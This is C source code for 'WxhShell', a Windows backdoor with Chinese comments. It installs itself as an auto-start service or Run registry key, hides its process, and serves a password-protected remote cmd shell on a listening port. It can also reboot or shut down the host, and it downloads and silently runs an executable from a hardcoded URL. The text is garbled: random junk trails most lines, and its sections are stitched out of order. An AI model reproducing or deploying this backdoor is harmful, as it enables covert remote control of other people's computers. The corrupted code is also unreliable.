    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  u\x}8pn  
    if(Boot(SHUTDOWN))  &)Tdc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;| 5F[  
    else { zh`<WN&H  
    closesocket(wsh); wj<6kG  
    ExitThread(0); Eh;'S"{/?j  
    } =Z3F1Cq?  
    break; f ue(UMF~  
    } 0r] t`{H  
  // 获取shell }6}l7x  
  case 's': { E7 Ul;d  
    CmdShell(wsh); JEwa &  
    closesocket(wsh); @=Uh',F  
    ExitThread(0); d(x\^z  
    break; =:,g  
  } | y# Jx  
  // 退出 S8w _ii3zd  
  case 'x': { v ~?qz5:K~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); o&zJ=k[4  
    CloseIt(wsh); cAqLE\h  
    break; fZzoAzfv2  
    } KKPh~ThC  
  // 离开  E`0?  
  case 'q': { C8:f_mJU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r1m]HFN  
    closesocket(wsh); ]z;I _-  
    WSACleanup(); /?'FE 7Y  
    exit(1); #7 $ H  
    break; mh{d8<Q2  
        } $Sx'sA2  
  } R)( T^V`{  
  } omu|yCK  
ufZDF=$7  
  // 提示信息 =/+-<px  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rz:]\jcIT/  
} gHEu/8E  
  } Ugt/rf5n  
gNrjo=  
  return; [{,T.;'<j  
} wY % }  
\?ZB]*Fu  
// shell模块句柄 sA/D]W.P  
int CmdShell(SOCKET sock) "]x'PI 4J  
{ Y%aCMP9j~9  
STARTUPINFO si; PfD.:amN7  
ZeroMemory(&si,sizeof(si)); ~i{(<.he  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  c(E{6g?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v2\FA(BPn  
PROCESS_INFORMATION ProcessInfo; )Y0!~# `  
char cmdline[]="cmd"; (ejvF):|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &|ex`nwc0  
  return 0; rgv?gaQ>  
} z}9(x.I  
w"|L:8  
// 自身启动模式 1..+F0U  
int StartFromService(void) a=1@*ID  
{ NC`aP0S  
typedef struct nFe<w  
{ q=m'^ ,gPS  
  DWORD ExitStatus; oj<gD  
  DWORD PebBaseAddress; $am$ EU?s  
  DWORD AffinityMask; t!X. |`h  
  DWORD BasePriority; :zbQD8jv  
  ULONG UniqueProcessId; |\t-g" ~sN  
  ULONG InheritedFromUniqueProcessId; (vnAbR#e  
}   PROCESS_BASIC_INFORMATION; {.|CdqwY  
PO^ij2eS  
PROCNTQSIP NtQueryInformationProcess; '<xXK@=KEI  
"ycJ:Xv49  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P%VSAh\|n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ({)+3]x  
mb3"U"ohs  
  HANDLE             hProcess; 4Uo&d#o)C-  
  PROCESS_BASIC_INFORMATION pbi; W:nef<WH  
On.{!:"I/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); rJT a  
  if(NULL == hInst ) return 0; F6|]4H.3Q  
[Ek7b *  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); eHZws`W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); xId.GWY1  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E4xa[iZ  
I<tm"?q0  
  if (!NtQueryInformationProcess) return 0; 40 0#v|b  
v.5+7,4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YK~%xo  
  if(!hProcess) return 0; 1-QS~)+  
EJ@ ~/)<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~PNub E  
W@!S%Y9  
  CloseHandle(hProcess); ;9g2?-svw  
OZ!^ak  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4E?Oky#}-  
if(hProcess==NULL) return 0; >&k-'`Nw  
{]|J5Dgfe  
HMODULE hMod; 0SPk|kr  
char procName[255]; dcT80sOC  
unsigned long cbNeeded; */DO ex"y  
{1 94!S4z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0qT%!ku&  
Wo ,?+I  
  CloseHandle(hProcess); 29q _BR *:  
~F7gP{r  
if(strstr(procName,"services")) return 1; // 以服务启动 iG?[<1~  
C"enpc_C/  
  return 0; // 注册表启动 3oG,E;(  
} >yh2Lri  
0 0U> F  
// 主模块 ws^ np  
int StartWxhshell(LPSTR lpCmdLine) xn|(9#1o  
{ q"_QQ~  
  SOCKET wsl; pY$Q  
BOOL val=TRUE; <b<j=_3  
  int port=0; BL58] P84  
  struct sockaddr_in door; [PKR2UEe]  
dAe')N:KPI  
  if(wscfg.ws_autoins) Install(); gltBC${7wZ  
o%*xvH*A  
port=atoi(lpCmdLine); 6\S~P/PkE  
9]@!S|1  
if(port<=0) port=wscfg.ws_port; P L+sR3bR  
s&J]zb`  
  WSADATA data; .w ,q0<}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; HE_8(Ms ;8  
Vs{|xG7W D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   '$QB$2~V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G9@0@2aY8  
  door.sin_family = AF_INET; *k>n<p3dd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q)z8PQl O  
  door.sin_port = htons(port); BDZ?Ez \Sg  
xi; `ecqS<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RY*U"G0#w  
closesocket(wsl); qb` \)X]9  
return 1; :T(|&F[(  
} gbagi+8s`%  
dcWD(-  
  if(listen(wsl,2) == INVALID_SOCKET) { jm r"D>  
closesocket(wsl); Q.c\/&  
return 1; ROZF)|l  
} @!d{bQd,  
  Wxhshell(wsl); *G 9V'9  
  WSACleanup(); ef E.&]  
$]2vvr  
return 0; :S(ZzY Q  
"G9xMffW  
} ?#Q #u|~  
lCHO;7YHX  
// 以NT服务方式启动 *s iFj CN<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <yg F(  
{ &XUiKnNW  
DWORD   status = 0; tIS<U(N ;  
  DWORD   specificError = 0xfffffff; QnX(V[  
*EwR!L*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K )k<Rh[<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; VTHH&$ZNq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t9IW/Q  
  serviceStatus.dwWin32ExitCode     = 0; 57'4ljvYi  
  serviceStatus.dwServiceSpecificExitCode = 0; 2jCfT>`3  
  serviceStatus.dwCheckPoint       = 0; 7W.~  
  serviceStatus.dwWaitHint       = 0; yyy|Pw4:Z  
,izO{@We2{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6Sn.I1Wy  
  if (hServiceStatusHandle==0) return; r0 uwPf  
NSA-}2$  
status = GetLastError(); Tc3yS(aq  
  if (status!=NO_ERROR) liz~7RY4  
{ WvZ8/T'x  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0NX,QD  
    serviceStatus.dwCheckPoint       = 0; 4tmAzD  
    serviceStatus.dwWaitHint       = 0; l0i^uMS  
    serviceStatus.dwWin32ExitCode     = status; delu1r  
    serviceStatus.dwServiceSpecificExitCode = specificError; D*|Bb?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ! #2{hQRu  
    return; xW Q`tWA:J  
  } .y:U&Rw4  
\mlqO[ S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0h7r&t%YsV  
  serviceStatus.dwCheckPoint       = 0; ,L'zRyP  
  serviceStatus.dwWaitHint       = 0; YQA ,f#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P\)iZiGc  
} l_%6  
g_COp "!~9  
// 处理NT服务事件,比如:启动、停止 <dhM\^ [  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c6]D-YNF G  
{ hp L;bM'  
switch(fdwControl) &W6^sj*k5U  
{ ."y1_dDql  
case SERVICE_CONTROL_STOP: wZZt  
  serviceStatus.dwWin32ExitCode = 0; Rr|VD@%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i@M [>~  
  serviceStatus.dwCheckPoint   = 0; Y,zxbXZv'5  
  serviceStatus.dwWaitHint     = 0; q{;:SgZ  
  { Nf1-!u7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l0A&9g*l2  
  } QGmn#]w\\  
  return; SS.dY""89  
case SERVICE_CONTROL_PAUSE: UFb )AnK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / FEVmH?  
  break; L8#5*8W6  
case SERVICE_CONTROL_CONTINUE: OX\F~+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;q6Ki.D  
  break; "C0Q(dr/n  
case SERVICE_CONTROL_INTERROGATE: b(O3@Q6[  
  break; y:qUn!3  
}; w}cPs{Vi"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); j]/RC(;?  
} fMyti$1~  
oIj#>1~c%  
// 标准应用程序主函数 ]}2ZttQ?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QWHug:c  
{ 3"KCh\\b  
n t7.?$  
// 获取操作系统版本 "vE4E|  
OsIsNt=GetOsVer(); t" Z6[XG  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :${HQd+  
zu|\fP  
  // 从命令行安装 2WxQ(:d=  
  if(strpbrk(lpCmdLine,"iI")) Install(); X1vd'>  
M{hg0/}sUW  
  // 下载执行文件 qR+!l(  
if(wscfg.ws_downexe) { !^Y(^RS@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sa;qW3dt3E  
  WinExec(wscfg.ws_filenam,SW_HIDE); "d5n \@[t  
} o"R7,N0rB  
LW_ f  
if(!OsIsNt) { MfQ?W`Kop  
// 如果时win9x,隐藏进程并且设置为注册表启动 )iK6:s #  
HideProc(); pOG1jI5<{8  
StartWxhshell(lpCmdLine); 2'MZ s]??w  
} m#Z# .j_2  
else Is?La  
  if(StartFromService()) 9ahWIO %  
  // 以服务方式启动 ^V Zk+'4  
  StartServiceCtrlDispatcher(DispatchTable); a\ YV3NJ/A  
else PQ$%H>{  
  // 普通方式启动 m:o<XK[>  
  StartWxhshell(lpCmdLine); ;)^`3`  
N7 $I^?<  
return 0; :^3LvPM  
} g0ly  
ve2u=eQ1  
@xYlS5{  
k4y 'b  
=========================================== 5>N2:9We  
1gN=-AC  
!LN?PKJ  
s'J:f$flS  
g:Xhw$x9  
:\7X}n*&  
" ' AEE[  
56-dD5{hxR  
#include <stdio.h> xCl1g4N  
#include <string.h> =uYYsC\T  
#include <windows.h> !Bq3Z?xA}  
#include <winsock2.h> {w^+\]tC  
#include <winsvc.h> dNL(G%Qj+"  
#include <urlmon.h> M>ruKHipFE  
6?~"V  
#pragma comment (lib, "Ws2_32.lib") G@jZ)2  
#pragma comment (lib, "urlmon.lib") :~N-.#  
ly_HWuFJ3  
#define MAX_USER   100 // 最大客户端连接数 TXvI4"&  
#define BUF_SOCK   200 // sock buffer K\6u9BYG  
#define KEY_BUFF   255 // 输入 buffer !sW(wAy?o  
s %\-E9 T  
#define REBOOT     0   // 重启 v"XGCi91L  
#define SHUTDOWN   1   // 关机 y0.8A-2:  
.Cl:eu,]  
#define DEF_PORT   5000 // 监听端口 !1{e|p 7  
q0R -7O(  
#define REG_LEN     16   // 注册表键长度 ,a]?S^:y]  
#define SVC_LEN     80   // NT服务名长度 @? QoF#D  
jeH~<t{  
// 从dll定义API .Blf5b  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); L4z ~B!uvF  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ww $  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qPy1;maXP  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'yG4 LF  
o{q{!7DH@  
// wxhshell配置信息 .ndCfdy~  
struct WSCFG { ?3zc=J"t  
  int ws_port;         // 监听端口 \VyZ  
  char ws_passstr[REG_LEN]; // 口令 "8^ Ch{G-  
  int ws_autoins;       // 安装标记, 1=yes 0=no n+q!l&&  
  char ws_regname[REG_LEN]; // 注册表键名 Zxs|%bQ  
  char ws_svcname[REG_LEN]; // 服务名 !()$8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 wL 4dTc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _zn.K&I-*k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 jiS_G%G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  fc-iAj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]J$eDbaEjT  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >\=3:gb:  
"wn zo,  
}; h"_;IUZ!  
{rH@gz|@i  
// default Wxhshell configuration :LRYYw  
struct WSCFG wscfg={DEF_PORT,  SVs_dG$  
    "xuhuanlingzhe", 6NM:DI\%  
    1, !y:v LB#q  
    "Wxhshell", ^2on.N q>  
    "Wxhshell", vZ&T}H~8  
            "WxhShell Service", iwp{%FF  
    "Wrsky Windows CmdShell Service", CpeU5 o@  
    "Please Input Your Password: ", 4N zwE(  
  1, -$jEfi4I  
  "http://www.wrsky.com/wxhshell.exe", W~~7 C,!  
  "Wxhshell.exe" fW3(&@  
    }; I]<_rN8~o  
B!_mC<*4`X  
// 消息定义模块 (# Gw1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >qjq=Ege  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9m<jcxla$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %gyLCTw  
char *msg_ws_ext="\n\rExit."; {/(D$"j(S  
char *msg_ws_end="\n\rQuit."; Q$1bWUS&  
char *msg_ws_boot="\n\rReboot..."; Raxrb=7  
char *msg_ws_poff="\n\rShutdown..."; iAa.}CI,zB  
char *msg_ws_down="\n\rSave to "; g Vv>9W('  
SmdjyK1~8  
char *msg_ws_err="\n\rErr!"; =`:K{loxq  
char *msg_ws_ok="\n\rOK!"; UA8GL D9  
3U.88{y  
char ExeFile[MAX_PATH]; &U raUl  
int nUser = 0; oe |)oTv  
HANDLE handles[MAX_USER]; =2zJ3&9  
int OsIsNt; +"cq(Y@  
(k) l= ]`}  
SERVICE_STATUS       serviceStatus; o-{[|/)Tk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ov4y %Pj  
o( RG-$  
// 函数声明 =/Mq5.  
int Install(void); =;3Sx::=  
int Uninstall(void); 7/ysVWt  
int DownloadFile(char *sURL, SOCKET wsh); PMh^(j[  
int Boot(int flag); m-*i>4;  
void HideProc(void); ];a=Pn-:}G  
int GetOsVer(void); l@H  
int Wxhshell(SOCKET wsl); 0Lc9M-Lg  
void TalkWithClient(void *cs); Lz!,kwg  
int CmdShell(SOCKET sock); Fzpfoz<N  
int StartFromService(void); !*m5F8Qm?A  
int StartWxhshell(LPSTR lpCmdLine); LuSLkLN  
=Z+nz^'b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $8xl#SqH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zb}9%.U  
:xD=`ib  
// 数据结构和表定义 v!Pb`LCqK  
SERVICE_TABLE_ENTRY DispatchTable[] = Nq` C.&  
{ P8>d6;o($  
{wscfg.ws_svcname, NTServiceMain}, xA 1hfe.9  
{NULL, NULL} WZ7BoDa7O  
}; h\.zdpR  
O-cbX/d  
// 自我安装 ~Ro9u p  
int Install(void) s3O} 6  
{ Q`D~5ci  
  char svExeFile[MAX_PATH]; YW`,v6  
  HKEY key; (TwnkXrR,  
  strcpy(svExeFile,ExeFile); "@d[h,TM  
3k# /{Z  
// 如果是win9x系统,修改注册表设为自启动 }YMy6eW4  
if(!OsIsNt) { t!x5fNo)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y[\VUzD*'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m&\h4$[kql  
  RegCloseKey(key); l>{R`BZ/  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +~roU{& o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?~;:jz|9<'  
  RegCloseKey(key); gu<'QV"  
  return 0; ("+}=*?OF3  
    } kc @[9eV  
  } zG9Y!SY\-  
} !n$tr  
else { AvSM ^  
k RD%b[*d  
// 如果是NT以上系统,安装为系统服务 Zh*u(rO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z@&Dki  
if (schSCManager!=0) Ucm :S-  
{ Nwt" \3  
  SC_HANDLE schService = CreateService Bj}^\Pc;}  
  ( {>,V\J0p  
  schSCManager, + 33@?fl.  
  wscfg.ws_svcname, T G{k0cdOT  
  wscfg.ws_svcdisp, t{FlB!jv  
  SERVICE_ALL_ACCESS, ;._7jFj.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8&~~j7p,  
  SERVICE_AUTO_START, k^%B5  
  SERVICE_ERROR_NORMAL, )m{Ye0!RD  
  svExeFile, AUNQA  
  NULL, {h2TD P  
  NULL, pT1[<X!<s  
  NULL, Q7C;1aO  
  NULL, 4*mS y  
  NULL 6{+{lBm=y  
  ); _5m#2u51i  
  if (schService!=0) w'fT=v)  
  { DUe&r,(4O  
  CloseServiceHandle(schService); E)7F\w  
  CloseServiceHandle(schSCManager); \, &co  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Nl9I*x^e  
  strcat(svExeFile,wscfg.ws_svcname); 7&"n`@(.!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }X_;X_\3;'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]M[#.EX  
  RegCloseKey(key); I}t3 p|z  
  return 0; r"a5(Q;n  
    } vZ N!Zl7S  
  } f1)x5N  
  CloseServiceHandle(schSCManager); V$icWu  
} D8nD/||;Z  
} 5qkH|*Z3  
jfx8EbQ  
return 1; g'u?Rn 7*J  
} <[J[idY1he  
-,aeM~  
// 自我卸载 RQp|T5Er*  
int Uninstall(void) B Ma)O  
{ 7kK #\dI  
  HKEY key; ~+bGN  
+:-57  
if(!OsIsNt) { ^1x*lLf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -0Tnh;&=  
  RegDeleteValue(key,wscfg.ws_regname); M- 2Tz[  
  RegCloseKey(key); ls`,EFF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +|{RE.DL  
  RegDeleteValue(key,wscfg.ws_regname); #E+gXan  
  RegCloseKey(key); o|iYd n\  
  return 0; c8M2 ^{O,`  
  } aJe^Tp(  
} ww{_c]My  
} W$o2 7f  
else { NU\ 5{N<  
#9 fWAF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); sv(f;ib  
if (schSCManager!=0) _#s=h_ FD  
{ uV hCxUMQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZBG}3Z   
  if (schService!=0) }Jh: 8BNuP  
  { Xy5s^82?  
  if(DeleteService(schService)!=0) { #:|+XLL  
  CloseServiceHandle(schService); 9F- )r'  
  CloseServiceHandle(schSCManager); 'snn~{hG  
  return 0; 5,;`$'?a%  
  } [;.`,/  
  CloseServiceHandle(schService); a7/-wk  
  } \WrFqm#  
  CloseServiceHandle(schSCManager); C"qU-&*v  
} H:JLAK  
} W85@v2b  
fiI $T:g.  
return 1; w[-Fm+A>  
} e{9jn>\,a  
j! NO|&k  
// 从指定url下载文件 -/dEsgO  
int DownloadFile(char *sURL, SOCKET wsh) C4#rA.nF|  
{ ph|ZG6:  
  HRESULT hr; Ei3zBS?J)  
char seps[]= "/"; ia{c  
char *token; vN OH&ja-s  
char *file; b*mKei  
char myURL[MAX_PATH]; >x@P|\  
char myFILE[MAX_PATH]; lE ;jCN  
XC3Kh^  
strcpy(myURL,sURL); '[(nmx'yVJ  
  token=strtok(myURL,seps); M4LktR-[  
  while(token!=NULL) Xvok1NM,  
  {  /n^c>)  
    file=token; w_4]xgS:  
  token=strtok(NULL,seps); =AEz9d ciS  
  } eL.7#SIr}  
G>Em! 4h  
GetCurrentDirectory(MAX_PATH,myFILE); Q_"\Q/=?Do  
strcat(myFILE, "\\"); nCvPB/-  
strcat(myFILE, file); ]43bere  
  send(wsh,myFILE,strlen(myFILE),0); (5Tvsw`  
send(wsh,"...",3,0); }^K/?dM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }T0K^Oe+eS  
  if(hr==S_OK) Lx U={Y0  
return 0; 5[9 bWB{  
else X#U MIlU  
return 1; wj|x:YZ*  
aSYs_?&.  
} zMK](o1Vj  
&MgeYpd  
// 系统电源模块 \hP=-J[~C  
int Boot(int flag) yWHiw<  
{ Zx?b<"k  
  HANDLE hToken; 6ZqgY1  
  TOKEN_PRIVILEGES tkp; 0gF!!m  
cM&'[CI  
  if(OsIsNt) { HT_TP q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y/8K;U|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V5GkP1L  
    tkp.PrivilegeCount = 1; n1:v HBM@\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6vf\R*D|A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *NSlo^R-[  
if(flag==REBOOT) { pY^9l3y^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l t]B#, '  
  return 0; F X1ZG!  
} f|aDTWF  
else { VzRx%j/i  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j%*7feSNC  
  return 0; Y &r]lD  
} h#Ce_,o  
  } Cw,D{  
  else { h:Ndzp{  
if(flag==REBOOT) { ;<G<1+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;+I4&VieK  
  return 0; 9-bG<`v\E  
} H.O(*Q=  
else { [H"#7t.V-~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Z@-DA*Q-  
  return 0; g "!\\:M  
} -lRhz!E]  
} L$Z(+6m5  
qMS}t3X  
return 1; _b4fS'[  
} ; a/cty0Ch  
jlKGXD)Q[  
// win9x进程隐藏模块 U06o ;s(  
void HideProc(void) EH+~].PJd  
{ .1*DR]^`  
MdhT!?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R/<=mZ  
  if ( hKernel != NULL ) $)e:8jS=  
  {  td(M#a-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VKLU0*2R  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ~j,TVY  
    FreeLibrary(hKernel); l@d gJ  
  } X#+`e+Df  
h[ 6hM^n  
return; H] qq ~bO[  
} mR":z|6  
0B0G2t&hr  
// 获取操作系统版本 ?SUQk55w  
int GetOsVer(void) T2Z[AvNXFk  
{ <e6=% 9  
  OSVERSIONINFO winfo; {=At#*=A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G79C {|c\  
  GetVersionEx(&winfo); K ar~I  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) j=.g :&r)  
  return 1; iWXMKu  
  else ^w6eWzI  
  return 0; 5urE  
} Y%v P#>h  
9Nl* 4  
// 客户端句柄模块 U %:c],Fk  
int Wxhshell(SOCKET wsl) S[@6Lp3q_  
{ 9|K*G~J  
  SOCKET wsh; ':;LrTc'K  
  struct sockaddr_in client; Ww87  
  DWORD myID; q?VVYZXP  
":&|[9/  
  while(nUser<MAX_USER) &9ki O  
{ rqvU8T7A  
  int nSize=sizeof(client); h1%y:[_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?\yB)Nd y  
  if(wsh==INVALID_SOCKET) return 1; \!X?zR_  
j3 P RAe  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Rx. rj~  
if(handles[nUser]==0) tmxPO e  
  closesocket(wsh); BpXEK.Xw  
else HRRngk#lV  
  nUser++; O~Uw&Bq  
  } 1XnBK$`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); nJ# XVlHc  
>7FSH"8[,  
  return 0; -g2{68 1`r  
} [n<.fw8$b  
t+}uIp42<  
// 关闭 socket aVK()1v]  
void CloseIt(SOCKET wsh) [>uwk``_  
{ iy 3DX|]  
closesocket(wsh); [oHOHp/V  
nUser--; Pw #2<>  
ExitThread(0); @dhH;gt.I  
} H5 q:z=A  
Nzc>)2% N  
// 客户端请求句柄 59qnEIi  
void TalkWithClient(void *cs) GHrBK&  
{ |2UauTp5yK  
HU3Vv<lz  
  SOCKET wsh=(SOCKET)cs; |7S:l9;  
  char pwd[SVC_LEN]; F9D"kG;Dk  
  char cmd[KEY_BUFF]; lWl-@ *'  
char chr[1]; w})NmaT;YF  
int i,j; `hF;$  
g Np-f  
  while (nUser < MAX_USER) { \R;K>c7=  
@5*xw1B  
if(wscfg.ws_passstr) { w2<*$~C]  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); y%g`FC   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;G$)MS'nB  
  //ZeroMemory(pwd,KEY_BUFF); 9l=Fv6  
      i=0; }moz9a  
  while(i<SVC_LEN) { &@oq~j_7  
bfc.rZ  
  // 设置超时 tYI]=:  
  fd_set FdRead; e>(Wvb&4  
  struct timeval TimeOut; :dbV2'vIQ  
  FD_ZERO(&FdRead); B(E tXB9  
  FD_SET(wsh,&FdRead); v7$9QVze  
  TimeOut.tv_sec=8; B#H2RTc  
  TimeOut.tv_usec=0; $:HLRl{2E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W.GN0(uG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <VgE39 [  
 XDvq7ZD  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,9$>d}N  
  pwd=chr[0]; K \m4*dOv  
  if(chr[0]==0xd || chr[0]==0xa) { 6NKF'zh  
  pwd=0; >|S>J+(  
  break; V?WMj $l<  
  } gNi}EP5>  
  i++; :Q#H(\26r  
    } \Em-.%c  
DwC@"i.  
  // 如果是非法用户,关闭 socket F_~6n]Sr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 5lG|A6+w{  
} A&?WP\_z  
{9,R@>R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8s&2gn1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _.hIv8V  
i&B?4J)  
while(1) { T7X!#j" \  
EXH!glR[$  
  ZeroMemory(cmd,KEY_BUFF); 2tlO"c:_/  
'NRN_c9  
      // 自动支持客户端 telnet标准   o|BFvhg  
  j=0; ="=#5C  
  while(j<KEY_BUFF) { k@lXXII ?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]qF<Zw7  
  cmd[j]=chr[0]; %G^(T%q| m  
  if(chr[0]==0xa || chr[0]==0xd) { 4I+.^7d  
  cmd[j]=0; sF, uIr/  
  break; Xd5! Ti}  
  } &?fvt  
  j++; O\:;q*]  
    } Y~}QJ+`?  
.M`LUb"!  
  // 下载文件 U0ns3LirP  
  if(strstr(cmd,"http://")) { .2{6h  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y# .6d  
  if(DownloadFile(cmd,wsh)) P|yGx)'^P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z@8MhJ  
  else Ty(yh(oYF`  
